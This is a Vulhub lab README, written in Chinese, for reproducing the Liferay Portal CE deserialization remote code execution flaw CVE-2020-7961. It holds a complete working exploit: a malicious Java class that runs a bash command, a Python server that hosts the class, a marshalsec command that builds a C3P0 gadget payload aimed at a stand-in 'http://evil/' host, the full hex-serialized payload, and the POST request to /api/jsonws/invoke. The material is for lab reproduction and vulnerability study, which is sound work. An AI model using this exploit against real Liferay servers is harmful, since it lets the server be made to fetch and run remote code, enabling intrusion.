Files
vulhub/liferay-portal/CVE-2020-7961/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

83 lines
4.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Liferay Portal CE 反序列化远程代码执行漏洞CVE-2020-7961
Liferay Portal CE是一款用于快速构建网站的开源平台。其7.2.0 GA1及更早版本的API接口存在反序列化漏洞攻击者可通过构造特定请求在目标服务器上执行任意命令。
参考链接:
- <https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html>
- <https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/>
- <https://xz.aliyun.com/t/7499>
- <https://xz.aliyun.com/t/7485>
## 漏洞环境
执行如下命令启动Liferay Portal 7.2.0 GA1
```
docker compose up -d
```
启动成功后,访问`http://your-ip:8080`即可查看默认首页。如果环境无法启动请确保系统内存不少于2GB。
## 漏洞复现
首先准备并编译一个恶意Java类
```java
// javac LifExp.java
public class LifExp {
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/success"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
在class文件所在目录下启动HTTP文件服务
```
$ ls
LifExp.class LifExp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```
由于目标Java版本较高需使用`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`利用链。通过[marshalsec](https://github.com/mbechler/marshalsec)生成适用于Jackson的Payload
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp
```
其中`http://evil/`为HTTP服务地址`LifExp`为恶意类名。
![](1.png)
将生成的Payload修改为Liferay Portal格式`+参数名:类名=值`
```
+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
```
将Payload合并到HTTP POST请求中发送
```
POST /api/jsonws/invoke HTTP/1.1
Host: your-ip:8080
Content-Length: 1346
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
```
![](2.png)
进入容器后,可见`/tmp/success`文件已被成功创建,证明命令执行成功:
![](3.png)